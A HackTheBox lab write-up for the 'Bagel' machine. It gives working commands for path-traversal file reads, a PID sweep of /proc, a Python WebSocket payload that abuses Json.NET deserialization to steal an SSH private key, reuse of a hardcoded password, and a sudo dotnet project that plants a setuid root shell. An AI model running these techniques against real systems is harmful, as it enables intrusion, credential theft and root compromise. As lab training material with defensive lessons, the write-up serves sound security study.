HTB: Bagel Writeup

Bagel - HackTheBox Writeup

Machine Information

AttributeDetails
NameBagel
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Bagel exposes a Flask “e-shop” on port 8000 that serves pages through a page GET parameter — a classic Local File Inclusion (LFI) primitive. Reading /etc/passwd through the traversal reveals two users, developer and phil, and brute-forcing /proc/<PID>/cmdline entries uncovers a .NET process backing a second, unauthenticated service on port 5000. That service is a WatsonWsServer WebSocket listener whose message handler deserializes attacker-controlled JSON with Json.NET’s TypeNameHandling enabled — a textbook insecure-deserialization gadget. Abusing an unimplemented, type-object RemoveOrder property lets an attacker coerce the deserializer into instantiating an internal File class and reading arbitrary files on disk, including phil’s SSH private key. From there, a hardcoded password recovered from the decompiled .NET DLL is reused to pivot to developer, who holds unrestricted sudo on /usr/bin/dotnet — enough to build and run an arbitrary .NET project as root.

TL;DR: LFI (?page= path traversal) → brute-force /proc/PID/cmdline to locate bagel.dll → download & decompile → insecure deserialization on the port 5000 WebSocket (RemoveOrderbagel_server.File gadget) reads phil’s id_rsa → SSH as phil → hardcoded DB password from the DLL reused via su developersudo dotnet (NOPASSWD) → malicious dotnet project run as root.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.10.11.X

Results:

  • 22/tcp — SSH
  • 5000/tcp — unidentified service, later confirmed as a .NET WatsonWsServer WebSocket listener
  • 8000/tcp — HTTP, a Flask-based e-shop application

Service Enumeration

The port 8000 site is a small e-shop whose pages are all loaded through a page query parameter (e.g. /?page=index.html), and an /orders endpoint that proxies a request to a backend WebSocket service. Port 5000 doesn’t speak plain HTTP — it’s the WebSocket backend that /orders talks to internally on 127.0.0.1:5000.

Vulnerability Assessment

  • The page parameter on port 8000 is passed straight into a file-read/serve function with no path sanitization — a classic Local File Inclusion vulnerability.
  • The port 5000 WebSocket service deserializes client-supplied JSON with TypeNameHandling enabled in Json.NET, allowing a client to specify the concrete .NET type to instantiate — CWE-502: Deserialization of Untrusted Data. Not tied to a specific CVE; it’s the well-known Json.NET TypeNameHandling polymorphic-deserialization gadget pattern, present because the app trusts a $type field in incoming JSON.

Initial Foothold

Step 1 — LFI to enumerate users and locate the source

Terminal window
# read /etc/passwd through the page parameter's path traversal
curl "http://10.10.11.X:8000/?page=../../../../../../etc/passwd"

Confirms the traversal and reveals two non-system accounts of interest: developer and phil.

Step 2 — Brute-forcing /proc/<PID>/cmdline to find the .NET service

Every running process exposes its launch command line at /proc/<PID>/cmdline. Since the LFI reads arbitrary files, iterating PIDs through the same traversal reveals what’s running behind port 5000 without local shell access:

Terminal window
# sweep PIDs looking for the dotnet process command line
for pid in $(seq 1 30000); do
resp=$(curl -s "http://10.10.11.X:8000/?page=../../../../../proc/$pid/cmdline")
echo "$resp" | grep -q dotnet && echo "[$pid] $resp"
done

The sweep turns up a dotnet process; reading its cmdline exposes the running assembly’s path:

dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll

Step 3 — Downloading and decompiling bagel.dll

Terminal window
# pull the DLL out through the same LFI primitive
curl "http://10.10.11.X:8000/?page=../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll" \
-o bagel.dll

Loading the assembly in a .NET decompiler (dnSpy/ILSpy) exposes the application’s structure:

  • Bagel — entry point; stands up a WatsonWsServer on port 5000 and wires a MessageReceived handler.
  • Handler — deserializes every incoming message with JsonConvert.DeserializeObject and TypeNameHandling on, then echoes the result back. This is why it’s exploitable: with TypeNameHandling enabled, a $type field in attacker JSON tells Json.NET which concrete type to instantiate instead of the type the developer intended.
  • Orders / BaseOrders exposes a RemoveOrder property typed object with a getter/setter but no implementation. Being declared object means any concrete $type can be substituted into it at deserialization time — the gadget entry point. ReadOrder, by contrast, strips / and .., so it isn’t directly usable for traversal.
  • File — implements ReadFile (reads a file’s contents) and WriteFile (writes content to a file), neither with any path restriction.
  • DB — an unfinished database class containing a hardcoded credential: ID dev, password k8wdAYYKyhnjg3K. Flagged for later reuse.

Step 4 — Insecure deserialization to read phil’s SSH key

Chaining the unrestricted RemoveOrder setter with the unsanitized File.ReadFile gadget reads any file on disk, by asking the deserializer to build a File object instead of the expected Base/Orders type:

import websocket, json
ws = websocket.WebSocket()
ws.connect("ws://10.10.11.X:5000/")
payload = {
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "../../../../home/phil/.ssh/id_rsa"
}
}
ws.send(json.dumps(payload))
print(ws.recv())
ws.close()

$type tells Json.NET to instantiate bagel_server.File and populate its ReadFile property with the traversal path — bypassing the sanitization that only existed on the unrelated ReadOrder property. The response contains phil’s private key.

Step 5 — Foothold via SSH

The recovered key needed a trailing newline appended before OpenSSH would accept it:

Terminal window
# key required a trailing newline appended before ssh would parse it
printf '\n' >> phil_id_rsa
chmod 600 phil_id_rsa
ssh -i phil_id_rsa phil@10.10.11.X

user.txt recovered from /home/phil/user.txt.


Privilege Escalation

Lateral movement: phildeveloper

The DB class in bagel.dll had already surfaced a hardcoded password, k8wdAYYKyhnjg3K, tied to a dev identifier. Password reuse is common, so it was tried directly against developer:

Terminal window
su developer
# Password: k8wdAYYKyhnjg3K

It worked, landing a shell as developer.

Root via sudo dotnet

/usr/bin/dotnet
sudo -l

developer can run /usr/bin/dotnet as root, no password. dotnet can build and execute an arbitrary project, so a malicious project whose run step spawns a shell escalates straight to root:

Terminal window
# scaffold a minimal .NET console project
mkdir /tmp/pwn && cd /tmp/pwn
dotnet new console
# Program.cs — replace the generated entry point
cat > Program.cs <<'EOF'
using System.Diagnostics;
Process.Start("/bin/bash", "-c \"cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash\"").WaitForExit();
EOF
# run it as root via the NOPASSWD sudo rule
sudo dotnet run

dotnet run compiles and executes the project in-process as root — code execution at uid=0. Confirmed uid=0(root) before reading /root/root.txt.


Attack Chain Summary

LFI on port 8000 (?page= path traversal)
→ read /etc/passwd → users: developer, phil
→ brute-force /proc/<PID>/cmdline → locate dotnet process
→ download & decompile /opt/bagel/bin/Debug/net6.0/bagel.dll
→ identify TypeNameHandling insecure deserialization + RemoveOrder gadget
→ WebSocket (port 5000) RemoveOrder → bagel_server.File → read phil's id_rsa
→ SSH as phil (user.txt)
→ hardcoded DB password from bagel.dll reused → su developer
→ sudo -l → NOPASSWD: /usr/bin/dotnet
→ malicious dotnet project run as root (root.txt)

Tools Used

ToolPurpose
nmapPort scanning
curlExploiting the LFI, brute-forcing /proc/<PID>/cmdline, downloading bagel.dll
dnSpy / ILSpyDecompiling bagel.dll to review the WebSocket server, deserialization handler, and hardcoded DB credential
Python websocket-clientCrafting the insecure-deserialization payload against the port 5000 WebSocket
ssh / suFoothold as phil, lateral move to developer
dotnet CLIBuilding/running the malicious project abused via the root sudo rule

Key Learnings

Techniques Practiced

  • Exploiting Local File Inclusion through a naive page= template-loading parameter
  • Using an LFI primitive to enumerate running processes via /proc/<PID>/cmdline without shell access
  • Reversing a .NET assembly to recover application logic and a hardcoded credential
  • Exploiting Json.NET TypeNameHandling insecure deserialization to instantiate an unintended internal class and read arbitrary files
  • Password reuse across accounts as a lateral movement vector
  • Privilege escalation via an overly permissive sudo rule on a general-purpose build tool (dotnet)

Lessons Learned

  1. Any parameter that selects a file to serve needs strict allow-listing, not blacklist-style traversal filtering — the port 8000 app trusted page= completely.
  2. TypeNameHandling in Json.NET must never be enabled against attacker-controlled input without a strict SerializationBinder allow-list; a single object-typed property with a public setter is enough to turn it into arbitrary-file-read (and, in other apps, RCE).
  3. Hardcoded credentials in compiled binaries aren’t hidden — decompilation is trivial, and any password found should be assumed exposed and checked for reuse across every other account.
  4. sudo rules on general-purpose interpreters/build tools (dotnet, python, perl, etc.) are effectively sudo ALL — no way to sandbox what code they execute.
  5. Live-environment quirks from this run worth flagging: the jump box’s /tmp refused an scp transfer, /dev/shm contained a stray dis.py shadowing the Python standard-library module of the same name, and phil’s recovered SSH key needed a trailing newline appended before OpenSSH would parse it — all straightforward once identified, but worth checking on any similarly provisioned pivot host.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • PwnMeow, Bagel official HackTheBox writeup (Machine Author: CestLaVie), Document No. D23.100.228, 25 February 2023.